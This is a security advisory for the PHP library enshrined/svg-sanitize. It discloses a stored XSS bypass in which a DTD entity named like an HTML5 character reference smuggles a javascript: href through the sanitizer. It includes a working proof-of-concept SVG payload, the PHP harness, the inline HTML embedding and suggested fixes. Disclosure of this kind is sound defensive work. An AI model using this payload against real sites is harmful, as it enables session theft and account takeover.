GHSA-9rjx-3jch-6vjf
enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | enshrined/svg-sanitize | < 1.0.0 | 1.0.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
A crafted SVG bypasses `enshrined/svg-sanitize`'s href validation and delivers a `javascript:` URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).
**This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.**
**Affected installations:**
- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents
- **WordPress Safe SVG plugin:** 1M+ active installs (inline SVG rendering via themes)
- **TYPO3, Drupal** and 90+ other Packagist dependents
## Vulnerability Details
### Mechanism
1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:
```xml
<!ENTITY Tab "#">
```
In XML, `	` expands to the literal string `"#"` (from the DTD definition).
In HTML5, `	` is a Named Character Reference that resolves to U+0009 (TAB character).
2. The SVG uses this entity in an href:
```xml
<a href="	javascript:alert(document.domain)">
```
3. **During sanitization** (XML context): `	` → `"#"` → the sanitizer sees `href="#javascript:alert(document.domain)"` → starts with `#` → `isHrefSafeValue()` returns **TRUE** → passes through.
4. **Sanitizer output:** `saveXML()` outputs the entity reference `	` (not the expanded value), and strips the DOCTYPE declaration.
5. **In the browser** (HTML5 context): Without the DOCTYPE, `	` is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → `javascript:alert(document.domain)` **executes**.
### Root Cause (Sanitizer.php)
```php
// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
if ('#' === substr($value, 0, 1)) {
return true; // Fragment identifier — "safe"
}
// ...
}
// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contexts
```
## Proof of Concept
### Malicious SVG (xss.svg)
```xml
<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
```
### Sanitizer processing
```php
<?php
require_once 'vendor/autoload.php';
$svg = file_get_contents('xss.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;
```
**Output:**
```xml
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
```
The `javascript:` href passes through the sanitizer. The DOCTYPE is stripped, but the `	` entity reference is preserved.
### Browser exploitation
Embed the sanitized SVG inline in HTML:
```html
<div class="svg-container">
<!-- sanitized SVG output inserted here -->
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
</div>
```
**Clicking the red rectangle executes `alert(document.domain)`.**
**Confirmed:** Chrome 148. PoC file: `XSS_CONFIRMED_POC.html`
### Exploitable Named Character References
Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:
- `	` → U+0009 (Horizontal Tab)
- `
` → U+000A (Line Feed)
These are stripped by the URL parser's scheme extraction, allowing `javascript:` to be the effective scheme.
## Impact
### Stored XSS
- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint
- SVG passes sanitization — sanitizer reports no issues
- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin
- **Account takeover:** `document.cookie`, `fetch('/wp-admin/...')`, session hijacking
### Context requirement
The sanitized SVG must be embedded **inline in HTML** (not as `<img src="file.svg">`). Common scenarios:
- WordPress themes that `echo file_get_contents($svg_path)` for inline SVG rendering
- WordPress block editor SVG preview
- Any web application rendering svg-sanitize output directly in HTML
Standalone `<img src="...svg">` is NOT affected (browser uses XML parser, `	` without DOCTYPE = XML parse error).
## CVSS
**CVSS 3.1: 6.1 (Medium)** — stored XSS, requires user click
`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`
With session stealing / admin takeover chain: effective severity **High**.
## Suggested Fix
### Option 1: Strip DOCTYPE before parsing (recommended)
```php
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);
```
Eliminates entity definitions entirely. No DTD entities = no collision.
### Option 2: Validate href after serialization
```php
$clean = $this->xmlDocument->saveXML(...);
// Post-serialization check: re-validate all href values in the OUTPUT
// (catches entity references that bypass the XML-expanded check)
```
### Option 3: Expand entities before validation
Validate `getAttribute()` return value AND the serialized form:
```php
$href = $element->getAttribute($attrName);
$serialized = $this->xmlDocument->saveXML($element);
// Check both for javascript: scheme
```
## Environment
- enshrined/svg-sanitize 0.22.x
- Chrome 148 (confirmed XSS execution)
- PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)
**Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/)
Denis Rostilov**
References
External links from the advisory. They lead to third-party sites.
- https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-9rjx-3jch-6vjf
- https://nvd.nist.gov/vuln/detail/CVE-2026-107380
- https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867
- https://github.com/darylldoyle/svg-sanitizer
- https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0